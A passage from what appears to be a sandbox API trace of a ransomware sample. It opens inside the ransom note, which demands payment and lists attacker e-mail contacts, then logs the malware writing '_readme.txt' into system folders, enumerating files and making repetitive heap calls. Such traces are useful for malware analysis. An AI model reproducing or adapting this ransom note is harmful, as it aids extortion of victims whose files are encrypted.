you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.242] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.242] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.242] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.243] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.243] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.243] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.243] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.243] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.243] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.243] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.243] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.243] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.243] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.243] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.243] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.243] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.243] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.243] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.243] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.243] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.243] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.243] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.243] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.243] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.243] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.243] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.243] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.243] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.243] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.244] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.244] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.245] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.245] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.246] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.246] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.247] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.247] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.248] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.249] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.250] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.250] 